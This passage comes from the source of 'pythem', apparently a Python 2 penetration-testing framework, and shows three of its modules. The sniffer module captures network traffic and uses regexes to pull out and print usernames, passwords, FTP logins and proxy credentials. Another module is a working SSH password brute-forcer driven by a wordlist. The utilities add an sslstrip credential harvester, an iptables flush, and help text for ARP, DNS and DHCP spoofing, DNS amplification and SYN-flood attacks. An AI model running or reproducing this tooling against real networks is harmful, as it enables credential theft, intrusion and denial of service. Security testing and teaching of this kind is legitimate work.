8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 |
23 | from scapy.all import *
24 | from scapy.error import Scapy_Exception
25 | # from modules.utils import *
26 | from datetime import datetime
27 | import socket
28 | import re
29 | from utils import *
30 | import sys
31 | import gzip
32 | import zlib
33 | from io import BytesIO
34 |
35 |
36 | class Sniffer(object):
37 | name = "Sniffer"
38 | desc = "Custom scapy sniffer."
39 | version = "1.4"
40 |
41 | def __init__(self, interface, filter):
42 | self.interface = interface
43 | self.filter = filter
44 | self.wrpcap = raw_input(
45 | "[*] Wish to write a .pcap file with the sniffed packets in the actual directory?[y/n]: ")
46 | self.packetcounter = 0
47 |
48 | def customsniff(self, p):
49 | self.packetcounter += 1
50 | print "\n------------------------------[PACKET N:{}]------------------------------".format(self.packetcounter)
51 | p.show()
52 | print "-------------------------------------------------------------------------\n"
53 |
54 | def httpsniff(self, p):
55 | self.packetcounter += 1
56 | try:
57 | if p.haslayer(TCP):
58 | if p.haslayer(Raw):
59 | if p[Raw].load.startswith('GET') or p[Raw].load.startswith('POST'):
60 | print "\n------------------------------[PACKET N:{}]------------------------------".format(
61 | self.packetcounter)
62 | print color("CLIENT: ", "blue") + p[IP].src + " ---> " + color("SERVER: ", "red") + p[IP].dst
63 | print " FLAGS:{} SEQ:{} ACK:{}\n".format(p.sprintf('%TCP.flags%'), p[TCP].seq, p[TCP].ack)
64 | print color("\nLoad:\n", "yellow")
65 | print p[Raw].load
66 | print "-------------------------------------------------------------------------\n"
67 |
68 | if p[Raw].load.startswith('HTTP'):
69 | encoded_status = False
70 | image_status = False
71 | print "\n------------------------------[PACKET N:{}]------------------------------".format(
72 | self.packetcounter)
73 | print color("SERVER: ", "red") + p[IP].src + " ---> " + color("CLIENT: ", "blue") + p[IP].dst
74 | print " FLAGS:{} SEQ:{} ACK:{}\n".format(p.sprintf('%TCP.flags%'), p[TCP].seq, p[TCP].ack)
75 | print color("\nLoad:\n", "yellow")
76 |
77 | try:
78 | headers, body = p[Raw].load.split("\r\n\r\n")
79 | except:
80 | headers = p[Raw].load
81 | body = ''
82 |
83 | print headers
84 | for l in str(headers).split("\n"):
85 | if l.startswith("Content-Encoding:"):
86 | encoded_status = True
87 | aux = l.split("Content-Encoding: ")
88 | encoded = aux[1].split("\r")
89 | encoded = str(encoded[0])
90 | print color("\nBody encoded:", "red") + encoded + "\n"
91 |
92 | if l.startswith("Content-Type: image/"):
93 | image_status = True
94 | print color("\n Image, skipping \n", "red")
95 |
96 | if encoded_status:
97 | print "\n[!] Trying to decode\n"
98 | if encoded in ('gzip', 'x-gzip'):
99 | with gzip.GzipFile(fileobj=StringIO(body)) as f:
100 | try:
101 | body = f.read()
102 | except Exception as e:
103 | print "[!] Exception caught: {}".format(e)
104 | print "[!] Couldn't decompress data, printing as is."
105 | elif encoded == 'deflate':
106 | try:
107 | body = zlib.decompress(body)
108 | except:
109 | body = zlib.decompress(body, -zlib.MAX_WBITS)
110 | else:
111 | print "[!] Compression format {} not supported, printing as is".format(encoded)
112 |
113 | if body != "" and not image_status:
114 | print body
115 |
116 | print "-------------------------------------------------------------------------\n"
117 | else:
118 | pass
119 | except Exception as e:
120 | print "[!]Exception caught: {}".format(e)
121 |
122 | def coresniff(self, p):
123 | # ARP Core events
124 | try:
125 | if p.haslayer(ARP):
126 | # who-has
127 | if p[ARP].op == 1:
128 | print color("[ARP] ", "grey") + p[ARP].hwsrc + " ---> " + p[ARP].hwdst + " Request: " + p[
129 | ARP].psrc + color(" who has ", "blue") + p[ARP].pdst + "?"
130 | # is-at
131 | elif p[ARP].op == 2:
132 | print color("[ARP] ", "grey") + p[ARP].hwsrc + " ---> " + p[ARP].hwdst + " Response: " + p[
133 | ARP].psrc + color(" is at ", "red") + p[ARP].hwsrc
134 | elif p[ARP].op == 3:
135 | print color("[RARP] ", "grey") + p[ARP].hwsrc + " ---> " + p[ARP].hwdst + " Request: " + p[
136 | Ether].src + color(" IP address of MAC ", "blue") + p[ARP].hwdst + "?"
137 | elif p[ARP].op == 4:
138 | print color("[RARP] ", "grey") + p[ARP].hwsrc + " ---> " + p[ARP].hwdst + " Response: " + p[
139 | Ether].src + color(" IP address is ", "red") + p[ARP].psrc
140 | # ICMP Core events
141 | elif p.haslayer(ICMP):
142 | type = p[ICMP].type
143 | if p[ICMP].type == 0:
144 | type = color("echo-reply.", "red")
145 | elif type == 3:
146 | type = color("destination unreachable.", "grey")
147 | elif type == 5:
148 | type = color("redirect.", "yellow")
149 | elif type == 8:
150 | type = color("echo-request.", "blue")
151 | elif type == 32:
152 | type = color("mobile host redirect.", "yellow")
153 | elif type == 33:
154 | type = color("IPv6 where-are-you.", "blue")
155 | elif type == 34:
156 | type = color("IPv6 i-am-here.", "red")
157 | elif type == 37:
158 | type = color("domain name request.", "blue")
159 | elif type == 38:
160 | type = color("domain name reply.", "red")
161 |
162 | print color("[ICMP] ", "white") + p[IP].src + " ---> " + p[IP].dst + " {} ".format(type)
163 |
164 | # UDP Core events
165 | elif p.haslayer(UDP):
166 | if p.haslayer(DNS):
167 | types = {
168 | 1: "A (Address Record)",
169 | 28: "AAAA (IPv6 Address Record)",
170 | 18: "AFSDB (AFS Database Record)",
171 | 42: "APL (Address Prefix List)",
172 | 257: "CAA (Certification Authority Authorization)",
173 | 60: "CDNSKEY (Child DNSKey)",
174 | 59: "CDS (Child DS)",
175 | 37: "CERT (Certificate Record)",
176 | 5: "CNAME (Cannonical Name Record)",
177 | 49: "DHCID (DHCP Identifier)",
178 | 32769: "DNSKEY (DNS Key Record)",
179 | 43: "DS (Delegation Signer)",
180 | 45: "IPSECKEY (IP Sec Key)",
181 | 25: "KEY (Key Record)",
182 | 36: "KX (Key Exchanger Record)",
183 | 29: "LOC (Location Record)",
184 | 15: "MX (Mail Exchange Record)",
185 | 35: "NAPTR (Naming Authority Pointer)",
186 | 2: "NS (Name Server Record)",
187 | 47: "NSEC (Next Secure Record)",
188 | 50: "NSEC3 (Next Secure Record Version 3)",
189 | 51: "NSEC3PARAM (NSEC3 Parameters)",
190 | 12: "PTR (Pointer Record [Reverse])",
191 | 46: "RRSIG (DNSSEC Signature)",
192 | 17: "RP (Responsible Person)",
193 | 24: "SIG (Signature)",
194 | 6: "SOA (Start of [a Zone of] Authority Record)",
195 | 33: "SRV (Service Locator)",
196 | 44: "SSHFP (SSH Public Key Fingerprint)",
197 | 32768: "TA (DNSSEC Trust Authorities)",
198 | 249: "TKEY Transaction Key Record",
199 | 52: "TLSA (TLSA Certificate Association)",
200 | 250: "TSIG (Transaction Signature)",
201 | 16: "TXT (Text Record)",
202 | 256: "URI (Uniform Resource Identifier)",
203 | 39: "DNAME"
204 | }
205 |
206 | if p.getlayer(DNS).qr == 0:
207 | try:
208 | type_id = p.getlayer(DNS).qd.qtype
209 | type = types[type_id]
210 | print color("[DNS] ", "blue") + "{}:{}".format(p[IP].src, str(
211 | p[UDP].sport)) + " ---> " + "{}:{} ".format(p[IP].dst, str(p[UDP].dport)) + color(
212 | "{} query: ".format(type), "blue") + color("{}".format(p.getlayer(DNS).qd.qname),
213 | "yellow")
214 | except:
215 | pass
216 |
217 | elif p.haslayer(DNSRR):
218 | try:
219 | type_id = p[DNSRR].type
220 | type = types[type_id]
221 | print color("[DNS] ", "blue") + p[IP].src + ":" + str(
222 | p[UDP].sport) + " ---> " + "{}:{} ".format(p[IP].dst, str(p[UDP].dport)) + color(
223 | "{} response: ".format(type), "red") + color("{}".format(p[DNSRR].rdata), "yellow")
224 | except:
225 | pass
226 |
227 | # DHCP Message types
228 | elif p.haslayer(DHCP):
229 | mtype = p[DHCP].options
230 | if mtype[0][1] == 1:
231 | msg_type = "DHCP " + color("Discover", "blue") + " message: "
232 | try:
233 | for x, y in mtype:
234 | if x == "client_id":
235 | msg_type += "client-id is {} , ".format(y)
236 | if x == "vendor_class_id":
237 | msg_type += "vendor-id is {} , ".format(y)
238 | if x == "hostname":
239 | msg_type += "hostname is {} , ".format(y)
240 | except:
241 | pass
242 | elif mtype[0][1] == 2:
243 | msg_type = "DHCP " + color("Offer", "red") + " message: "
244 | try:
245 | for x, y in mtype:
246 | if x == "server_id":
247 | msg_type += "DHCP server at {} , ".format(y)
248 | if x == "broadcast_address":
249 | msg_type += "broadcast is {} , ".format(y)
250 | if x == "router":
251 | msg_type += "router at {} , ".format(y)
252 | if x == "domain":
253 | msg_type += "domain is {} , ".format(y)
254 | if x == "name_server":
255 | msg_type += "DNS server at {} , ".format(y)
256 | except:
257 | pass
258 |
259 | elif mtype[0][1] == 3:
260 | msg_type = "DHCP " + color("Request", "blue") + " message: "
261 | try:
262 | for x, y in mtype:
263 | if x == "requested_addr":
264 | msg_type += "request address {} , ".format(y)
265 | if x == "vendor_class_id":
266 | msg_type += "vendor-id is {} , ".format(y)
267 | if x == "hostname":
268 | msg_type += "hostname is {} , ".format(y)
269 | except:
270 | pass
271 | elif mtype[0][1] == 4:
272 | msg_type = "DHCP " + color("Decline", "grey") + " message."
273 | elif mtype[0][1] == 5:
274 | msg_type = "DHCP " + color("Acknowledgment", "red") + " message: "
275 | try:
276 | for x, y in mtype:
277 | if x == "server_id":
278 | msg_type += "DHCP server at {} , ".format(y)
279 | if x == "broadcast_address":
280 | msg_type += "broadcast is {} , ".format(y)
281 | if x == "router":
282 | msg_type += "router at {} , ".format(y)
283 | if x == "domain":
284 | msg_type += "domain is {} , ".format(y)
285 | if x == "name_server":
286 | msg_type += "DNS server at {} , ".format(y)
287 | except:
288 | pass
289 |
290 | elif mtype[0][1] == 6:
291 | msg_type = "DHCP " + color("Negative Acknowledgment", "grey") + " message."
292 | elif mtype[0][1] == 7:
293 | msg_type = "DHCP " + color("Release", "magenta") + " message."
294 | elif mtype[0][1] == 8:
295 | msg_type = "DHCP " + color("Informational", "magenta") + " message."
296 | try:
297 | for x, y in mtype:
298 | if x == "server_id":
299 | msg_type += "DHCP server at {} , ".format(y)
300 | if x == "broadcast_address":
301 | msg_type += "broadcast is {} , ".format(y)
302 | if x == "router":
303 | msg_type += "router at {} , ".format(y)
304 | if x == "domain":
305 | msg_type += "domain is {} , ".format(y)
306 | if x == "name_server":
307 | msg_type += "DNS server at {} , ".format(y)
308 | except:
309 | pass
310 | else:
311 | msg_type = "[!] INVALID MESSAGE TYPE"
312 | print color("[DHCP] ", "magenta") + p[Ether].src + " ---> " + p[Ether].dst + " : " + color(
313 | msg_type, "yellow")
314 |
315 | # TCP Core events
316 | elif p.haslayer(TCP):
317 | if p.haslayer(Raw):
318 | user_regex = '(vSIS_USUARIOID|[Ee]mail|[Uu]ser|[Uu]sername|[Ll]ogin|[Ll]ogin[Ii][Dd]|[Uu]name|[Uu]suario)=([^&|;]*)'
319 | pw_regex = '(vSIS_USUARIOSENHA|[Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
320 | pxy_regex = '([Ww]ww-[Aa]uthorization:|[Ww]ww-[Aa]uthentication:|[Pp]roxy-[Aa]uthorization:|[Pp]roxy-[Aa]uthentication:) Basic (.*?) '
321 |
322 | load = str(p[Raw].load).replace("\n", " ")
323 | if load.startswith('GET'):
324 | method = load.split("GET")
325 | get = str(method[1]).split("HTTP")
326 | try:
327 | ghost = socket.gethostbyaddr(str(p[IP].dst))
328 | host = "{}/{}".format(ghost[0], str(p[IP].dst))
329 | except:
330 | host = str(p[IP].dst)
331 |
332 | print color("[TCP]({})".format(p.sprintf('%TCP.flags%')), "red") + p[IP].src + ":" + str(
333 | p[TCP].sport) + " ---> " + host + ":" + str(p[TCP].dport) + " - " + color(
334 | "GET: {}".format(get[0]), "yellow")
335 |
336 | elif load.startswith('USER'):
337 | method = load.split("USER")
338 | user = str(method[1]).split("\r")
339 | print "\n" + color("[$$$] FTP Login found: ", "yellow") + ''.join(user) + "\n"
340 | elif load.startswith('PASS'):
341 | method = load.split("PASS")
342 | passw = str(method[1]).split("\r")
343 | print "\n" + color("[$$$] FTP Password found: ", "yellow") + ''.join(passw) + "\n"
344 | else:
345 | users = re.findall(user_regex, load)
346 | passwords = re.findall(pw_regex, load)
347 | proxy = re.findall(pxy_regex, load)
348 | self.creds(users, passwords, proxy)
349 | # else:
350 | # print color("[TCP]({})".format(p.sprintf('%TCP.flags%')),"white") + p[IP].src + ":" + str(p[TCP].sport) + " ---> " + p[IP].dst + ":"+str(p[TCP].dport) + " seq: {} /ack: {}".format(p[TCP].seq,p[TCP].ack)
351 | except Exception as e:
352 | print "[!]Exception caught: {}".format(e)
353 |
354 | def creds(self, users, passwords, proxy):
355 | if users:
356 | print "\n" + color("[$$$] Login found: ", "yellow") + str(users[0][1]) + "\n"
357 |
358 | if passwords:
359 | print "\n" + color("[$$$] Password found: ", "yellow") + str(passwords[0][1]) + "\n"
360 |
361 | if proxy:
362 | try:
363 | print "\n" + color("[$$$] Proxy credentials: ", "yellow") + str(proxy[0][1]).decode('base64') + "\n"
364 | except:
365 | print "\n" + color("[$$$] Proxy credentials: ", "yellow") + str(proxy[0][1]) + "\n"
366 |
367 | def start(self):
368 | # print "FILTER: " + self.filter
369 | if self.filter == None:
370 | self.filter = 'core'
371 | if self.filter == "core":
372 | if self.wrpcap == 'y':
373 | try:
374 | p = sniff(iface=self.interface, prn=self.coresniff)
375 | time = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
376 | wrpcap("pythem{}.pcap".format(time), p)
377 | print "\n[!] pythem sniffer finalized."
378 | except Exception as e:
379 | if "Interrupted system call" in e or "not found" in e:
380 | self.start()
381 | else:
382 | print "[!] Exception caught: {}".format(e)
383 | else:
384 | try:
385 | p = sniff(iface=self.interface, prn=self.coresniff)
386 | print "\n[!] pythem sniffer finalized."
387 | except Exception as e:
388 | if "Interrupted system call" in e or "not found" in e:
389 | self.start()
390 | else:
391 | print "[!] Exception caught: {}".format(e)
392 | elif self.filter == 'http':
393 | if self.wrpcap == 'y':
394 | try:
395 | p = sniff(iface=self.interface, prn=self.httpsniff)
396 | time = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
397 | wrpcap("pythem{}.pcap".format(time), p)
398 | print "\n[!] pythem sniffer finalized."
399 | except Exception as e:
400 | if "Interrupted system call" in e or "not found" in e:
401 | self.start()
402 | else:
403 | print "[!] Exception caught: {}".format(e)
404 | else:
405 | try:
406 | p = sniff(iface=self.interface, prn=self.httpsniff)
407 | print "\n[!] pythem sniffer finalized."
408 | except Exception as e:
409 | if "Interrupted system call" in e or "not found" in e:
410 | self.start()
411 | else:
412 | print "[!] Exception caught: {}".format(e)
413 |
414 | else:
415 | if self.wrpcap == 'y':
416 | try:
417 | p = sniff(iface=self.interface, filter="{}".format(self.filter), prn=self.customsniff)
418 | time = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
419 | wrpcap("pythem{}.pcap".format(time), p)
420 | print "\n[!] pythem sniffer finalized."
421 | except Exception as e:
422 | if "Interrupted system call" in e or "not found" in e:
423 | self.start()
424 | else:
425 | print "[!] Exception caught: {}".format(e)
426 | else:
427 | try:
428 | p = sniff(iface=self.interface, filter="{}".format(self.filter), prn=self.customsniff, store=0)
429 | print "\n[!] pythem sniffer finalized."
430 | except Exception as e:
431 | if "Interrupted system call" in e or "not found" in e:
432 | self.start()
433 | else:
434 | print "[!] Exception caught: {}".format(e)
435 |
436 |
437 | if __name__ == "__main__":
438 |
439 | # Change the import for utils to run sniffer alone.
440 | try:
441 | if sys.argv[1] == "-h" or sys.argv[1] == "--help":
442 | print "[pythem Sniffer]"
443 | print
444 | print "usage:"
445 | print " python sniffer.py interface filter"
446 | print
447 | print "run default:"
448 | print " python sniffer.py"
449 | else:
450 | Sniffer = Sniffer(sys.argv[2], sys.argv[3])
451 | Sniffer.start()
452 | except IndexError:
453 | print "[+] Starting Default Sniffer"
454 | print "[pythem Sniffer initialized]"
455 | Sniffer = Sniffer(None, None)
456 | Sniffer.start()
457 |
458 | except Exception as e:
459 | print "[!] Exception caught: {}".format(e)
460 |
--------------------------------------------------------------------------------
/pythem/modules/ssh_bruter.py:
--------------------------------------------------------------------------------
1 | """Part of the pythem framework. """
2 | #
3 | # Copyright (c) 2016-2018 Angelo Moura
4 | #
5 | # This file is part of the program pythem
6 | #
7 | # pythem is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 | #
21 | # === Change log:
22 | #
23 | # 2016, Aug 06, Bifrozt
24 | # - Removed shebang from module
25 | # - Minimized length of args
26 | # - Verify that file object exists
27 | # - Verify that user has read access to file object
28 | # - Removed use of python builtin word: 'file' replaced with 'fobj'
29 | # - Defined connection timeout (2 sec) for non responsive SSH server.
30 | # Will return a tuple from try-except in ssh_connect() on timeout.
31 | # Calls sys.exit(1) if timeout to SSH server occurs.
32 | # - try-except in start() will check type before if-elif statements
33 | # - Calls sys.exit(0) when correct password is found.
34 | # - Removed try-except in start(). Not sure what exceptions this will be
35 | # catching, except a possible KeyboardInterrupt?
36 | #
37 | #
38 | # === Future development suggestions:
39 | #
40 | # 2016, Aug 06, Bifrozt
41 | # - Use 'threading' to improve brute force attack speed
42 | #
43 | #
44 | import os
45 | import paramiko
46 | import sys
47 | import socket
48 | from os import R_OK
49 |
50 |
51 | class SSHbrutus(object):
52 | """SSH brute force class. """
53 | name = "SSH Brute-forcer"
54 | desc = "Perform password brute-force on SSH"
55 | version = "0.1"
56 |
57 | def __init__(self, trgt, usr, fobj):
58 | self.trgt = trgt
59 | self.usr = usr
60 | self.fobj = fobj
61 |
62 | def exists(self):
63 | """Tests if the file exists and if the executing user has read access
64 | to the file. Returns file if both tests are passed. """
65 | if not os.path.isfile(self.fobj):
66 | print '[-] File not found: {0}'.format(self.fobj)
67 | sys.exit(1)
68 |
69 | if not os.access(self.fobj, R_OK):
70 | print '[-] Denied read access: {0}'.format(self.fobj)
71 | sys.exit(1)
72 |
73 | if os.path.isfile(self.fobj) and os.access(self.fobj, R_OK):
74 | return self.fobj
75 |
76 | def ssh_connect(self, passwd, code=0):
77 | """Connects to the SSH server, attempts to authenticate and returns the
78 | exit code from the attempt. """
79 | ssh = paramiko.SSHClient()
80 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
81 |
82 | try:
83 | ssh.connect(self.trgt, port=22, username=self.usr, password=passwd, timeout=2)
84 | except paramiko.AuthenticationException:
85 | code = 1
86 | except socket.error, err:
87 | code = 2, err
88 |
89 | ssh.close()
90 | return code
91 |
92 | def start(self):
93 | """Itterates trough the password list and checks wheter or not the
94 | correct password has been found. """
95 | fobj = self.exists()
96 | wlist = open(fobj)
97 |
98 | for i in wlist.readlines():
99 | passwd = i.strip("\n")
100 | resp = self.ssh_connect(passwd)
101 |
102 | if type(resp) == int:
103 |
104 | if resp == 0:
105 | print "[+] User: {0}".format(self.usr)
106 | print "[+] Password found!: {0}".format(passwd)
107 | break
108 |
109 | if resp == 1:
110 | print "[-] User: {0} Password: {1}".format(self.usr, passwd)
111 |
112 | elif resp[0] == 2:
113 | print "[!] {0}: {1}".format(resp[1], self.trgt)
114 | break
115 |
116 | wlist.close()
117 |
--------------------------------------------------------------------------------
/pythem/modules/utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | import os
23 | import re
24 | import sys
25 | import socket
26 | import fcntl
27 | import struct
28 | import urllib
29 | import base64
30 | import termcolor
31 |
32 |
33 | def decode(base):
34 | text = raw_input("[*] String to be decoded: ")
35 | decode = text.decode('{}'.format(base))
36 | result = "[+] Result: {}".format(decode)
37 | return result
38 |
39 |
40 | def encode(base):
41 | text = raw_input("[*] String to be encoded: ")
42 | encode = text.encode('{}'.format(base))
43 | result = "[+] Result: {}".format(encode)
44 | return result
45 |
46 |
47 | def cookiedecode():
48 | cookie = raw_input("[+] Enter the cookie value: ")
49 | res = base64.b64decode(urllib.unquote(cookie))
50 | print
51 | print res
52 |
53 |
54 | def get_myip(interface):
55 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
56 | return socket.inet_ntoa(fcntl.ioctl(
57 | s.fileno(),
58 | 0x8915,
59 | struct.pack('256s', interface[:15])
60 | )[20:24])
61 |
62 |
63 | def credentials(users, passwords):
64 | if users:
65 | for u in users:
66 | print "[$] Login found: {}".format(str(u[1]))
67 |
68 | if passwords:
69 | for p in passwords:
70 | print "[$] Password found: {}".format(str(p[1]))
71 |
72 | if not users and not passwords:
73 | print "[#] No accounts on the pot try again later."
74 |
75 |
76 | user_regex = '([Ee]mail|[Uu]ser|[Uu]sr|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
77 | pw_regex = '([Pp]assword|[Pp]ass|[Pp]wd|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
78 |
79 |
80 | def credentials_harvest(file='sslstrip.log'):
81 | file = os.path.join(os.getcwd(), file)
82 | print "[$] Credential Harvester:"
83 |
84 | with open(file, "r+") as f:
85 | content = f.read().replace('\n', '')
86 |
87 | users = re.findall(user_regex, content)
88 | passwords = re.findall(pw_regex, content)
89 | credentials(users, passwords)
90 |
91 |
92 | def get_mymac(interface):
93 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
94 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', interface[:15]))
95 | return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
96 |
97 |
98 | def set_ip_forwarding(value):
99 | with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
100 | file.write(str(value))
101 | print "[*] Setting the packet forwarding."
102 |
103 |
104 | def iptables():
105 | os.system(
106 | 'iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
107 | print "[*] Iptables redefined"
108 |
109 |
110 | def module_check(module):
111 | confirm = raw_input(
112 | "[-] Do you checked if your system has [%s] installed?, do you like to try installing? (apt-get install %s will be executed if yes [y/n]: " % (
113 | modules, module))
114 | if confirm.lower() == 'y':
115 | os.system('apt-get install %s' % module)
116 | else:
117 | print "[-] Terminated"
118 | sys.exit(1)
119 |
120 |
121 | def color(message, color):
122 | msg = termcolor.colored(str(message), str(color), attrs=["bold"])
123 | return msg
124 |
125 |
126 | def banner(version):
127 | banner = """\n
128 |
129 | ---_ ...... _/_ -
130 | / . ./ .'* '
131 | |'' /_|-' '.
132 | / )
133 | _/ > '
134 | / . . _.-" / .'
135 | \ __/" / .'
136 | \ '-- .-" / / /'
137 | \| \ | / / /
138 | \: / /
139 | `\/ / /
140 | \__`\/ /
141 | \_ '
142 |
143 |
144 | [ pythem - Penetration Testing Framework v{} ]\n
145 | """.format(version)
146 | return color(banner, "blue")
147 |
148 |
149 | def print_help():
150 | print
151 | print color("[*] help: Print the help message.", "blue")
152 | print
153 | print
154 | print color("[*] exit/quit: Leave the program.", "blue")
155 | print
156 | print
157 | print color("[*] set: Set a variable's value.", "blue")
158 | print
159 | print color(" parameters:", "red")
160 | print
161 | print color(" - interface", "yellow")
162 | print color(" - gateway", "yellow")
163 | print color(" - target", "yellow")
164 | print color(" - file", "yellow")
165 | print color(" - domain", "yellow")
166 | print color(" - redirect", "yellow")
167 | print color(" - script", "yellow")
168 | print color(" - filter", "yellow")
169 | print
170 | print color(" examples:", "green")
171 | print
172 | print color(" pythem> ", "red") + "set interface | open input to set"
173 | print " or"
174 | print color(" pythem> ", "red") + "set interface wlan0 | don't open input to set value."
175 | print
176 | print
177 | print color("[*] print Print a variable's value.", "blue")
178 | print
179 | print color(" examples:", "green")
180 | print
181 | print color(" pythem> ", "red") + "print gateway"
182 | print
183 | print
184 | print color("[SECTION - NETWORK, MAN-IN-THE-MIDDLE AND DENIAL OF SERVICE (DOS)]", "grey")
185 | print
186 | print
187 | print color("[*] scan: Make a tcp/manual/arp scan.", "blue")
188 | print
189 | print "Should be called after setting an interface and a target"
190 | print
191 | print color(" examples:", "green")
192 | print color(" pythem> ", "red") + "scan"
193 | print " [*] Select one scan mode, options = tcp/arp/manual"
194 | print " [+] Scan mode: arp"
195 | print " or"
196 | print color(" pythem> ", "red") + "scan tcp"
197 | print
198 | print color(" pythem> ", "red") + "scan manual"
199 | print " [+] Enter the port, ports (separated by commas): 21,22,25,80"
200 | print
201 | print
202 | print color("[*] webcrawl: Start to crawl an URL target finding links.", "blue")
203 | print
204 | print color(" arguments:", "red")
205 | print
206 | print color(" - start", "yellow")
207 | print color(" - help", "yellow")
208 | print
209 | print color(" examples:", "green")
210 | print
211 | print color(" pythem> ", "red") + "webcrawl start"
212 | print
213 | print
214 | print color("[*] arpspoof: Start or stop an arpspoofing attack.", "blue")
215 | print
216 | print color(" arguments:", "red")
217 | print
218 | print color(" - start", "yellow")
219 | print color(" - stop", "yellow")
220 | print color(" - status", "yellow")
221 | print color(" - help", "yellow")
222 | print
223 | print color(" examples:", "green")
224 | print
225 | print color(" pythem> ", "red") + "arpspoof start"
226 | print color(" pythem> ", "red") + "arspoof stop"
227 | print color(" pythem> ", "red") + "arpspoof status"
228 | print
229 | print
230 | print color("[*] dnsspoof: Start a dnsspoofing attack.", "blue")
231 | print
232 | print "Should be called after an ARP spoofing attack has been started"
233 | print
234 | print color(" arguments:", "red")
235 | print
236 | print color(" - start", "yellow")
237 | print color(" - stop", "yellow")
238 | print color(" - status", "yellow")
239 | print color(" - help", "yellow")
240 | print
241 | print color(" examples:", "green")
242 | print
243 | print color(" pythem> ", "red") + "dnsspoof start"
244 | print color(" pythem> ", "red") + "dnsspoof stop"
245 | print color(" pythem> ", "red") + "dnsspoof status"
246 | print
247 | print
248 | print color("[*] dhcpspoof: Start a DHCP ACK Injection spoofing attack.", "blue")
249 | print
250 | print "If the real DHCP server ACK is faster than your host the spoofing will not work, check it with the sniffer"
251 | print
252 | print color(" arguments:", "red")
253 | print
254 | print color(" - start", "yellow")
255 | print color(" - stop", "yellow")
256 | print color(" - status", "yellow")
257 | print color(" - help", "yellow")
258 | print
259 | print color(" examples:", "green")
260 | print
261 | print color(" pythem> ", "red") + "dhcpspoof start"
262 | print color(" pythem> ", "red") + "dhcpspoof stop"
263 | print color(" pythem> ", "red") + "dhcpspoof status"
264 | print
265 | print
266 | print color("[*] redirect: Start to redirect clients to web server with a script tag to inject in html response",
267 | "blue")
268 | print
269 | print "Should be used after a ARP spoof has been started"
270 | print
271 | print color(" arguments:", "red")
272 | print
273 | print color(" - start", "yellow")
274 | print color(" - stop", "yellow")
275 | print color(" - help", "yellow")
276 | print
277 | print color(" examples:", "green")
278 | print
279 | print color(" pythem> ", "red") + "redirect start"
280 | print color(" pythem> ", "red") + "redirect stop"
281 | print
282 | print
283 | print color("[*] sniff: Start to sniff network traffic on desired network interface", "blue")
284 | print
285 | print "Should be called after setting an interface"
286 | print
287 | print color(" sniff custom filters:", "red")
288 | print
289 | print color(" - http", "yellow")
290 | print color(" - dns", "yellow")
291 | print color(" - core", "yellow")
292 | print
293 | print color(" examples:", "green")
294 | print
295 | print color(" pythem> ", "red") + 'sniff http'
296 | print " or"
297 | print color(" pythem> ", "red") + 'sniff'
298 | print " [+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns,core specific filter."
299 | print
300 | print
301 | print color("[*] pforensic: Start a packet-analyzer", "blue")
302 | print
303 | print "Should be called after setting file with a .pcap file"
304 | print
305 | print color(" examples:", "green")
306 | print
307 | print color(" pythem> ", "red") + 'pforensic'
308 | print
309 | print color(" pforensic> ", "yellow") + 'help'
310 | print
311 | print
312 | print color("[*] dos: Start a Denial of Service attack (DOS).", "blue")
313 | print
314 | print color(" arguments:", "red")
315 | print
316 | print color(" - dnsdrop | Start to drop DNS queries that pass through man-in-the-middle traffic.", "yellow")
317 | print
318 | print color(
319 | " - dnsamplification | Start a DNS amplification attack on target address with given DNS servers to amplificate.",
320 | "yellow")
321 | print
322 | print color(" - synflood | Start a SYN flood attack on target address, default port = 80, set port to change.",
323 | "yellow")
324 | print
